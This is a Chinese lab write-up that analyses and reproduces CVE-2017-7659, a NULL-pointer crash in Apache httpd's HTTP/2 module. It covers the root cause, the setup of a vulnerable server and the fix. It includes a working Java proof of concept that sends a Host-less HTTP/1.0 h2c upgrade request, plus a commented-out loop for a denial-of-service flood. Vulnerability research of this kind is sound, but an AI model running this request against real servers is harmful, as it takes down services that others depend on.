资讯专栏INFORMATION COLUMN

Apache CVE-2017-7659 漏洞重现及利用分析

mzlogin / 1815人阅读

摘要:有漏洞的服务器源码下载链接通过补丁的修改进行漏洞成因的逆向分析。我们编写了的程序,同时发起多个畸形请求,以不断触发后台崩溃,并让服务器不断陷入重新分配的处理之中。

一、实验原理介绍

apache在其网站发布的安全公告,针对CVE-2017-7659漏洞的介绍是这样的:

A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.

可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。

有漏洞的服务器源码下载链接:https://archive.apache.org/di...
通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数h2_stream_set_request_rec,发现是调用h2_request_rcreat创建http 2.0请求的数据结构req,h2_request_rcreat执行失败时req为空,此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃:

继续查看函数h2_request_rcreate,看到首先会把req置为0,然后判断4个变量r->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时req还是0,就会导致进程崩溃:

那么这4个变量是哪一个为空导致的漏洞呢?scheme是先判断了是否为空再赋值的,首先排除;path是从r->parsed_uri中解析出来,解析函数apr_uri_unparse在其它地方有多次使用,直觉path也不会为空;r->method保存请求的方法字段,在HTTP请求中必须存在,因此也不应该为空;因此只有r->hostname,保存请求的主机名,也就是域名,可能为空。

我们知道,HTTP请求中,有2个地方可以表示主机名:
1) 请求的路径以完整URL方式表示,URL中包含主机名,例如GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的
2) 在Host请求头中包含主机名,例如:
GET / HTTP/1.1
Host: www.example.com

服务器中是在fix_hostname函数中解析这种主机名的分别审计ap_parse_uri和fix_hostname函数,发现如果请求中没有Host头,那么r->hostname确实是空。但是服务器也考虑到了这种情况,在ap_read_request函数中做了判断:


这里的判断逻辑,如果满足下面2个条件之一

1) r->hostname为空,且请求的HTTP版本大于等于1.1
2) 没有Host头,且请求的HTTP版本等于1.1
就会立刻回复400状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1的RFC2616的14.23节中明确指明,HTTP/1.1请求必须包含Host头。

但是,HTTP还有1.0版本,且HTTP/1.0和HTTP/1.1的处理流程一样,虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的,程序会一直按照流程执行,最终执行到h2_stream_set_request_rec函数,此时r->hostname为空,从而触发漏洞。

综合上面的分析,该漏洞利用成功需要如下条件:

1) 服务器支持HTTP/2
2) 请求是HTTP/1.0版本
3) 请求中没有Host头
二、环境配置介绍 1)、实验的环境CentOS 7,2.4.25版本的Apache Httpd服务器 2)、Apache的安装前的准备工作
安装Sqllite
# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz
# tar zxf sqlite-autoconf-3080704.tar.gz
# cd sqlite-autoconf-3080704
# ./configure --prefix=/usr/local/sqlite-3.8.7.4
# make && make install

安装apr
# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr-1.5.2
# make && make install

安装apr-util
# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2
# make && make install

安装nghttp2
# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz
# tar zxf nghttp2-1.38.0.tar.gz
# cd nghttp2-1.38.0
# ./configure --prefix=/usr/local/nghttp2-1.38.0
# make && make install

# 最后安装2.4.25版本的Apache服务器
# cd /usr/local/src
# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz
# cd httpd-2.4.25
# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2  --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0  --enable-http2  --enable-dav  --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4
# make && make install
# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default
# ln -s /usr/local/apache-2.4.25/  /usr/local/apache
3)、修改配置文件httpd.conf,并测试Apache是否能运行
1、设置服务器监听的端口

2、Apache服务器的IP和端口

3、添加支持Http2.0的module


如果提示说没有mod_http2.so,可以使用下面的命令编译生成

/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下载的源码modules文件夹那里执行
4、设置日志级别为debug,否则后续漏洞复现不了,因为如果不是debug级别,不会执行漏洞函数

5、启动服务器

至此,实验的环境已经搭建好。

三、实验过程详细介绍 1. 首先起一个单一进程的apache httpd服务,方便验证进程崩溃后的效果

访问浏览器: 正常访问

2、编写Java程序,发送恶意请求

尝试发送漏洞请求过去,触发服务器的漏洞函数

public class HttpTest extends Thread{

    public void createSocket() {

    }

    public void communcate() throws IOException {
        // 注意这里必须制定请求方式 地址 注意空格
        Socket socket = new Socket("192.168.179.112", 8888);
        OutputStream os = socket.getOutputStream();
        InputStream is = socket.getInputStream();
        StringBuffer sb = new StringBuffer("GET / HTTP/1.0
");
        // 以下为请求头
        sb.append("User-Agent: curl/7.50.1
");
        //sb.append("Host: 39.108.122.247
");
        sb.append("Accept: */*
");
        sb.append("Connection: Upgrade, HTTP2-Settings
");
        sb.append("Upgrade: h2c
");
        sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
");
        //sb.append("Content-Length: 2
");
        // 注意这里要换行结束请求头
        sb.append("
");
        System.out.println(sb.toString());
        try {
            os.write(sb.toString().getBytes());
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            /*byte[] bytes = new byte[1024];
            int len = -1;
            int i =0 ;
            while ((len = is.read(bytes)) != -1) {
                    baos.write(bytes, 0, len);
            }
            System.out.println(new String(baos.toByteArray()));
            */
            socket.close();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    @Override
    public void run() {
        createSocket();
        // Dos攻击
        /*while (true) {
            try {
                communcate();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }*/


        try {
            communcate();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    /*
    GET / HTTP/1.1
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: 
     */

    public static void main(String[] args) {
//        for(int i =0; i<100 ;++i) {
            HttpTest client = new HttpTest();
            client.start();
//        }
    }
}





漏洞成功复现:




此时浏览器也访问不了

3、如果是多进程的apache httpd服务


当worker进程崩溃时,apache会自动启动新的worker进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?
修改上面的Java代码,发送Dos攻击




apache 服务器全部worker进程都崩溃了!



四、实验总结

这个实验的难点是分析漏洞的发生原因、实验环境的配置。首先,在linux上安装Apache Http 2.4.25这个版本的服务器,参考网上的一些教程安装,发现过程是不全的,只能靠自己去根据控制台打印的错误日志去找原因,为了让Apache服务器支持Http2.0,mod_http2.so这个module一直报错,后来安装配置了nghttp2重新编译才能成功开启服务器。安装好实验环境后,写了一段Java程序去验证,发送Http1.0的请求并且不带Host消息头,一开始创建了1000个线程发送1000个“恶意请求”,发现Apache服务器并没有宕机,百思不得其解,调了一个下午都没有成功,在队友的电脑也是这样的问题。之后不断地查阅资料,并且尝试去看源码,发现需要在配置文件里面设置日志级别为debug才会触发漏洞,默认是info级别,这点在官网上并没有描述,这个服务器如果是没有设置为debug级别是不会执行漏洞函数的,解决了这个大坑之后,服务器终于崩溃(出现了Segmentation fault这个段异常,即内部有空指针异常),但是Apache有保护机制,当worker进程崩溃时,apache会自动启动新的worker进程。我们编写了的程序,同时发起多个畸形请求,以不断触发后台worker崩溃,并让apache服务器不断陷入重新分配worker的处理之中。基于漏洞发生的场景可以得出,解决这个漏洞的关键是就是增加了对h2_request_rcreate函数返回值的判断即可。

参考链接:https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/36019.html

相关文章

  • 2018先知白帽大会 | 议题解读

    摘要:摘要今年的先知白帽大会,与会者将能够亲身感受到非常多有趣的技术议题,如在国际赛事中屡夺佳绩的团队,其队长将亲临现场,分享穿针引线般的漏洞利用艺术。从数据视角探索安全威胁阿里云安全工程师议题解读本议题讨论了数据为安全人员思维方式带来的变化。 摘要: 今年的先知白帽大会,与会者将能够亲身感受到非常多有趣的技术议题,如HITCON在国际赛事中屡夺佳绩的CTF团队,其队长Orange将亲临现场...

    Hydrogen 评论0 收藏0
  • 进攻即是最好的防御!19个练习黑客技术的在线网站

    摘要:进攻即是最好的防御个练习黑客技术的在线网站进攻即是最好的防御,这句话同样适用于信息安全的世界。社区有接近万的注册会员也是最大的一个黑客社区之一。 进攻即是最好的防御!19个练习黑客技术的在线网站 进攻即是最好的防御,这句话同样适用于信息安全的世界。这里罗列了19个合法的来练习黑客技术的网站,不管你是一名开发人员、安全工程师、代码审计师、渗透测试人员,通过不断的练习才能让你成为一个优秀安...

    tracy 评论0 收藏0
  • Java安全之Axis漏洞分析

    摘要:安全之漏洞分析安全之漏洞分析前言前言看到个别代码常出现里面有一些组件,没去仔细研究过该漏洞。文件写入成功重新打开文件发现内容已经发生了变化整理整理请求请求调用该方式写文件需要解析,遇到就凉凉。至此再一次佩服漏洞挖掘者。Java安全之Axis漏洞分析0x00 前言看到个别代码常出现里面有一些Axis组件,没去仔细研究过该漏洞。研究记录一下。0x01 漏洞复现漏洞版本:axis=]]> ...

    番茄西红柿 评论0 收藏2637

发表评论

0条评论

mzlogin

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<